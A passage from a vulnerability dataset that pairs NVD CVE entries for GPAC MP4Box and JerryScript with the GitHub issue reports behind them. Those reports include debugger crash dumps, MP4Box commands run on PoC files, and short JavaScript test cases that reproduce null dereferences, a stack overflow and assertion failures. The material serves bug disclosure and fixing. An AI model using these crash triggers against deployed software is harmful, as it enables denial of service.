#10 0x000000000041521f in mp4boxMain (argc=11, argv=0x7fffffffe2a8) at main.c:6044
#11 0x000000000041719b in main (argc=11, argv=0x7fffffffe2a8) at main.c:6496
#12 0x0000000000d09a40 in __libc_start_main ()
#13 0x000000000040211e in _start ()
pwndbg>
```
| Null Pointer Dereference in gf_dump_vrml_sffield () at scene_manager/scene_dump.c:588 | https://api.github.com/repos/gpac/gpac/issues/2028/comments | 0 | 2022-01-03T13:46:36Z | 2022-01-04T10:19:42Z | https://github.com/gpac/gpac/issues/2028 | 1,092,526,001 | 2,028 |
CVE-2021-46311 | 2022-01-21T21:15:09.017 | A NULL pointer dereference vulnerability exists in GPAC v1.1.0 via the function gf_sg_destroy_routes () at scenegraph/vrml_route.c. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2038"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:1.1.0:dev:*:*:*:*:*:*",
"matchCriteriaId": "A713E8C4-E079-4ECB-AF9C-DC0EC80D089D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/gpac/gpac/issues/2038 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
**Version:**
```
./MP4Box -version
MP4Box - GPAC version 1.1.0-DEV-rev1615-g9ce097b4a-master
```
**command:**
```
./bin/gcc/MP4Box -svg POC1
```
[POC1.zip](https://github.com/gpac/gpac/files/7834568/POC1.zip)
**Result**
```
Segmentation fault
```
**bt**
```
Program received signal SIGSEGV, Segmentation fault.
0x00000000004e9a35 in gf_sg_destroy_routes (sg=0x10f0c30) at scenegraph/vrml_route.c:126
126 if (r->name) gf_free(r->name);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x400788 ◂— 0x0
RCX 0x10febd8 —▸ 0x1102210 ◂— 0x100
RDX 0x0
RDI 0x10f0ec0 ◂— 0x0
RSI 0x0
R8 0xffffffffffffffe0
R9 0x0
R10 0x10febf8 ◂— 0x0
R11 0x10fea60 —▸ 0x10e2210 ◂— 0x6000500040007
R12 0xd0de10 (__libc_csu_fini) ◂— endbr64
R13 0x0
R14 0x10aa018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd84910 (__memmove_avx_unaligned_erms) ◂— endbr64
R15 0x0
RBP 0x7fffffff8710 —▸ 0x7fffffff87b0 —▸ 0x7fffffff87d0 —▸ 0x7fffffff98d0 —▸ 0x7fffffffe170 ◂— ...
RSP 0x7fffffff86f0 —▸ 0x7fffffff8710 —▸ 0x7fffffff87b0 —▸ 0x7fffffff87d0 —▸ 0x7fffffff98d0 ◂— ...
RIP 0x4e9a35 (gf_sg_destroy_routes+93) ◂— mov rax, qword ptr [rax + 8]
───────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4e9a35 <gf_sg_destroy_routes+93> mov rax, qword ptr [rax + 8]
0x4e9a39 <gf_sg_destroy_routes+97> test rax, rax
0x4e9a3c <gf_sg_destroy_routes+100> je gf_sg_destroy_routes+118 <gf_sg_destroy_routes+118>
↓
0x4e9a4e <gf_sg_destroy_routes+118> mov rax, qword ptr [rbp - 8]
0x4e9a52 <gf_sg_destroy_routes+122> mov rdi, rax
0x4e9a55 <gf_sg_destroy_routes+125> call gf_free <gf_free>
0x4e9a5a <gf_sg_destroy_routes+130> mov rax, qword ptr [rbp - 0x18]
0x4e9a5e <gf_sg_destroy_routes+134> mov rax, qword ptr [rax + 0x110]
0x4e9a65 <gf_sg_destroy_routes+141> mov rdi, rax
0x4e9a68 <gf_sg_destroy_routes+144> call gf_list_count <gf_list_count>
0x4e9a6d <gf_sg_destroy_routes+149> test eax, eax
────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zxq/CVE_testing/source/gpac/src/scenegraph/vrml_route.c
121 {
122 while (gf_list_count(sg->routes_to_destroy) ) {
123 GF_Route *r = (GF_Route *)gf_list_get(sg->routes_to_destroy, 0);
124 gf_list_rem(sg->routes_to_destroy, 0);
125 gf_sg_route_unqueue(sg, r);
► 126 if (r->name) gf_free(r->name);
127 gf_free(r);
128 }
129 }
130
131
────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffff86f0 —▸ 0x7fffffff8710 —▸ 0x7fffffff87b0 —▸ 0x7fffffff87d0 —▸ 0x7fffffff98d0 ◂— ...
01:0008│ 0x7fffffff86f8 —▸ 0x10f0c30 ◂— 0x0
02:0010│ 0x7fffffff8700 ◂— 0x0
03:0018│ 0x7fffffff8708 ◂— 0x0
04:0020│ rbp 0x7fffffff8710 —▸ 0x7fffffff87b0 —▸ 0x7fffffff87d0 —▸ 0x7fffffff98d0 —▸ 0x7fffffffe170 ◂— ...
05:0028│ 0x7fffffff8718 —▸ 0x47a183 (gf_sg_reset+1350) ◂— mov rax, qword ptr [rbp - 0x88]
06:0030│ 0x7fffffff8720 ◂— 0x0
07:0038│ 0x7fffffff8728 —▸ 0x10f0c30 ◂— 0x0
──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x4e9a35 gf_sg_destroy_routes+93
f 1 0x47a183 gf_sg_reset+1350
f 2 0x479aa5 gf_sg_del+94
f 3 0x41827d dump_isom_scene+1265
f 4 0x415b12 mp4boxMain+6395
f 5 0x417a8e main+36
f 6 0xd0d5a0 __libc_start_main+1168
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0 0x00000000004e9a35 in gf_sg_destroy_routes (sg=0x10f0c30) at scenegraph/vrml_route.c:126
#1 0x000000000047a183 in gf_sg_reset (sg=0x10f0c30) at scenegraph/base_scenegraph.c:502
#2 0x0000000000479aa5 in gf_sg_del (sg=0x10f0c30) at scenegraph/base_scenegraph.c:162
#3 0x000000000041827d in dump_isom_scene (file=0x7fffffffe5cc "gf_sg_destroy_routes-gf_sg_reset/id:000578,sig:11,src:008408+008855,op:splice,rep:8", inName=0x10de4a0 <outfile> "gf_sg_destroy_routes-gf_sg_reset/id:000578,sig:11,src:008408+008855,op:splice,rep:8", is_final_name=GF_FALSE, dump_mode=GF_SM_DUMP_SVG, do_log=GF_FALSE, no_odf_conv=GF_FALSE) at filedump.c:217
#4 0x0000000000415b12 in mp4boxMain (argc=3, argv=0x7fffffffe2c8) at main.c:6140
#5 0x0000000000417a8e in main (argc=3, argv=0x7fffffffe2c8) at main.c:6592
#6 0x0000000000d0d5a0 in __libc_start_main ()
#7 0x000000000040211e in _start ()
```
| Null Pointer Dereference in gf_sg_destroy_routes（）at scenegraph/vrml_route.c:126 | https://api.github.com/repos/gpac/gpac/issues/2038/comments | 0 | 2022-01-09T06:44:25Z | 2022-01-11T17:35:41Z | https://github.com/gpac/gpac/issues/2038 | 1,097,120,299 | 2,038 |
CVE-2021-46313 | 2022-01-21T21:15:09.060 | The binary MP4Box in GPAC v1.0.1 was discovered to contain a segmentation fault via the function __memmove_avx_unaligned_erms (). This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2039"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:1.1.0:dev:*:*:*:*:*:*",
"matchCriteriaId": "A713E8C4-E079-4ECB-AF9C-DC0EC80D089D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/gpac/gpac/issues/2039 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
**Version:**
```
./MP4Box -version
MP4Box - GPAC version 1.1.0-DEV-rev1615-g9ce097b4a-master
```
**command:**
```
./bin/gcc/MP4Box -bt POC2
```
[POC2.zip](https://github.com/gpac/gpac/files/7834581/POC2.zip)
**Result**
```
Segmentation fault.
```
**bt**
```
Program received signal SIGSEGV, Segmentation fault.
0x0000000000d84a84 in __memmove_avx_unaligned_erms ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────────
RAX 0x1100d60 ◂— 0x0
RBX 0x400788 ◂— 0x0
RCX 0x1100d68 ◂— 0x61 /* 'a' */
RDX 0x8802ff8
RDI 0x1100d60 ◂— 0x0
RSI 0x1100d68 ◂— 0x61 /* 'a' */
R8 0x4
R9 0x1103bd0 ◂— 0x4e0
R10 0x1104918 ◂— 0x0
R11 0x11040e0 —▸ 0x11010c0 —▸ 0x1101010 —▸ 0x1100ec0 —▸ 0x1103180 ◂— ...
R12 0xd0de10 (__libc_csu_fini) ◂— endbr64
R13 0x0
R14 0x10aa018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xd84910 (__memmove_avx_unaligned_erms) ◂— endbr64
R15 0x0
RBP 0x7fffffff8620 —▸ 0x7fffffff8690 —▸ 0x7fffffff86e0 —▸ 0x7fffffff87b0 —▸ 0x7fffffff87d0 ◂— ...
RSP 0x7fffffff85f8 —▸ 0x445aa6 (gf_list_rem+164) ◂— mov rax, qword ptr [rbp - 0x18]
RIP 0xd84a84 (__memmove_avx_unaligned_erms+372) ◂— vmovdqu ymm5, ymmword ptr [rsi + rdx - 0x20]
─────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────
► 0xd84a84 <__memmove_avx_unaligned_erms+372> vmovdqu ymm5, ymmword ptr [rsi + rdx - 0x20]
0xd84a8a <__memmove_avx_unaligned_erms+378> vmovdqu ymm6, ymmword ptr [rsi + rdx - 0x40]
0xd84a90 <__memmove_avx_unaligned_erms+384> vmovdqu ymm7, ymmword ptr [rsi + rdx - 0x60]
0xd84a96 <__memmove_avx_unaligned_erms+390> vmovdqu ymm8, ymmword ptr [rsi + rdx - 0x80]
0xd84a9c <__memmove_avx_unaligned_erms+396> mov r11, rdi
0xd84a9f <__memmove_avx_unaligned_erms+399> lea rcx, [rdi + rdx - 0x20]
0xd84aa4 <__memmove_avx_unaligned_erms+404> mov r8, rdi
0xd84aa7 <__memmove_avx_unaligned_erms+407> and r8, 0x1f
0xd84aab <__memmove_avx_unaligned_erms+411> sub r8, 0x20
0xd84aaf <__memmove_avx_unaligned_erms+415> sub rsi, r8
0xd84ab2 <__memmove_avx_unaligned_erms+418> sub rdi, r8
─────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffff85f8 —▸ 0x445aa6 (gf_list_rem+164) ◂— mov rax, qword ptr [rbp - 0x18]
01:0008│ 0x7fffffff8600 ◂— 0xffff8620
02:0010│ 0x7fffffff8608 —▸ 0x1100710 —▸ 0x1100d60 ◂— 0x0
03:0018│ 0x7fffffff8610 —▸ 0x56df73 (BM_EndOfStream) ◂— endbr64
04:0020│ 0x7fffffff8618 ◂— 0x11005ff01100710
05:0028│ rbp 0x7fffffff8620 —▸ 0x7fffffff8690 —▸ 0x7fffffff86e0 —▸ 0x7fffffff87b0 —▸ 0x7fffffff87d0 ◂— ...
06:0030│ 0x7fffffff8628 —▸ 0x56e0ea (gf_bifs_flush_command_list+350) ◂— mov rax, qword ptr [rbp - 0x18]
07:0038│ 0x7fffffff8630 —▸ 0x7fffffff8670 —▸ 0x10eef50 —▸ 0x1101320 —▸ 0x10ef5b0 ◂— ...
───────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────
► f 0 0xd84a84 __memmove_avx_unaligned_erms+372
f 1 0x445aa6 gf_list_rem+164
f 2 0x56e0ea gf_bifs_flush_command_list+350
f 3 0x56e3fb gf_bifs_decode_command_list+340
f 4 0x6c0631 gf_sm_load_run_isom+1994
f 5 0x6a45a1 gf_sm_load_run+46
f 6 0x418161 dump_isom_scene+981
f 7 0x415b12 mp4boxMain+6395
─────────────────────────────────────────────────────────
```
| A segmentation fault in MP4Box | https://api.github.com/repos/gpac/gpac/issues/2039/comments | 0 | 2022-01-09T07:07:05Z | 2022-01-11T17:35:42Z | https://github.com/gpac/gpac/issues/2039 | 1,097,123,366 | 2,039 |
CVE-2021-44988 | 2022-01-25T01:15:07.640 | Jerryscript v3.0.0 and below was discovered to contain a stack overflow via ecma_find_named_property in ecma-helpers.c. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4890"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4891"
},
{
"source": "[email protected]",
"tags": [
"Not Applicable"
],
"url": "https://security.samsungmobile.com/securityUpdate.smsb"
}
] | [
{
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{
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] | https://github.com/jerryscript-project/jerryscript/issues/4891 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27)
Version: v3.0.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64)
###### Build steps
```bash
./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --profile=es2015-subset --stack-limit=20
```
###### Test case
```javascript
let array = new Array(1);
array.splice(1, 0, array);
array.flat(Infinity);
```
###### Execution steps & Output
```bash
$ ./jerryscript/build/bin/jerry poc.js
ASAN:DEADLYSIGNAL
=================================================================
==37207==ERROR: AddressSanitizer: stack-overflow on address 0xff6f2ffc (pc 0x566c8fbc bp 0xff6f3040 sp 0xff6f3000 T0)
#0 0x566c8fbb in ecma_find_named_property /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:618
#1 0x56a91e1f (/root/jerryscript/build/bin/jerry+0x477e1f)
SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/ecma/base/ecma-helpers.c:618 in ecma_find_named_property
==37207==ABORTING
``` | Stack-overflow in ecma_find_named_property (ecma-helpers.c) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4891/comments | 1 | 2021-12-09T14:33:33Z | 2021-12-09T14:35:17Z | https://github.com/jerryscript-project/jerryscript/issues/4891 | 1,075,642,418 | 4,891 |
CVE-2021-44992 | 2022-01-25T01:15:07.690 | There is an Assertion ''ecma_object_is_typedarray (obj_p)'' failed at /jerry-core/ecma/operations/ecma-typedarray-object.c in Jerryscript 3.0.0. | {
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"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4875"
},
{
"source": "[email protected]",
"tags": [
"Not Applicable"
],
"url": "https://security.samsungmobile.com/securityUpdate.smsb"
}
] | [
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] | https://github.com/jerryscript-project/jerryscript/issues/4875 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27) Version: v3.0.0
Commit: [8ba0d1b](https://github.com/jerryscript-project/jerryscript/commit/8ba0d1b6ee5a065a42f3b306771ad8e3c0d819bc) Version: v2.4.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20
```
###### Test case
```javascript
function isPoT(obj, name, type) {
let desc;
desc = Object.getOwnPropertyDescriptor(obj, name);
return typeof type === 'undefined' || typeof desc.value === type;
}
function getPs(obj, type) {
let properties = [];
for (let name of Object.getOwnPropertyNames(obj)) {
if (isPoT(obj, name, type)) {
properties.push(name);
}
}
return properties;
}
function* genObj(root = this, level = 0) {
if (level > 4) {
return;
}
let obj_names = getPs(root, 'object');
for (let obj_name of obj_names) {
if (obj_name.startsWith('$')) {
continue;
}
let obj = root[obj_name];
yield obj;
yield* genObj(obj, level + 1);
}
}
function JSEtestObj() {
let objects = [];
for (let obj of genObj()) {
if (!objects.includes(obj)) {
objects.push(obj);
}
}
return objects;
}
function JSEtestFunc(obj) {
return getPs(obj, 'function');
}
const thrower = new Proxy({}, {
get() {
throw 0xc0defefe;
}
});
for (let o of JSEtestObj()) {
for (let f of JSEtestFunc(o)) {
const arityPlusOne = o[f].length + 1;
try {
o[f](Array(arityPlusOne).fill(thrower));
} catch (e) {
if (`${e}`.includes('1')) {
try {
new o[f](Array(arityPlusOne).fill(thrower));
} catch (e) {}
} else {
}
}
}
}
```
###### Execution steps & Output
Version: v3.0.0
```bash
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'ecma_object_is_typedarray (obj_p)' failed at /root/jerryscript/jerry-core/ecma/operations/ecma-typedarray-object.c(ecma_get_typedarray_id):764.
Error: ERR_FAILED_INTERNAL_ASSERTION
```
Version: v2.4.0
````bash
$ ~/jerryscript-2.4.0/build/bin/jerry poc.js
Script Error: assertion failed
Script backtrace (top 5):
0: poc.js:72
````
Credits: Found by OWL337 team. | Assertion 'ecma_object_is_typedarray (obj_p)' failed in ecma-typedarray-object(ecma_get_typedarray_id) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4875/comments | 0 | 2021-12-09T09:08:53Z | 2022-01-12T02:06:25Z | https://github.com/jerryscript-project/jerryscript/issues/4875 | 1,075,325,382 | 4,875 |
CVE-2021-44993 | 2022-01-25T01:15:07.730 | There is an Assertion ''ecma_is_value_boolean (base_value)'' failed at /jerry-core/ecma/operations/ecma-get-put-value.c in Jerryscript 3.0.0. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4876"
},
{
"source": "[email protected]",
"tags": [
"Not Applicable"
],
"url": "https://security.samsungmobile.com/securityUpdate.smsb"
}
] | [
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] | https://github.com/jerryscript-project/jerryscript/issues/4876 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27)
Version: v3.0.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20
```
###### Test case
```javascript
function JSEtest(f, n = 1000) {
for (let i = 0; i < n; i++) {
f();
}
}
JSEtest(function () {
class M {
constructor() {
this._x = 45;
}
get foo() {
return this._x;
}
}
class N extends M {
constructor(x = () => super.foo) {
super();
x() === 45;
}
x(x = () => super.foo) {
return x();
}
}
new N().x() === 45;
});
```
###### Execution steps & Output
version 3.0.0
```bash
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'ecma_is_value_boolean (base_value)' failed at /root/jerryscript/jerry-core/ecma/operations/ecma-get-put-value.c(ecma_op_get_value_object_base):205.
Error: ERR_FAILED_INTERNAL_ASSERTION
```
Credits: Found by OWL337 team. | Assertion 'ecma_is_value_boolean (base_value)' failed in ecma_op_get_value_object_base (ecma-get-put-value). | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4876/comments | 0 | 2021-12-09T09:48:50Z | 2022-01-12T02:06:45Z | https://github.com/jerryscript-project/jerryscript/issues/4876 | 1,075,367,669 | 4,876 |
CVE-2021-44994 | 2022-01-25T01:15:07.773 | There is an Assertion ''JERRY_CONTEXT (jmem_heap_allocated_size) == 0'' failed at /jerry-core/jmem/jmem-heap.c in Jerryscript 3.0.0. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4894"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4895"
},
{
"source": "[email protected]",
"tags": [
"Not Applicable"
],
"url": "https://security.samsungmobile.com/securityUpdate.smsb"
}
] | [
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] | https://github.com/jerryscript-project/jerryscript/issues/4894 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ## JerryScript commit hash
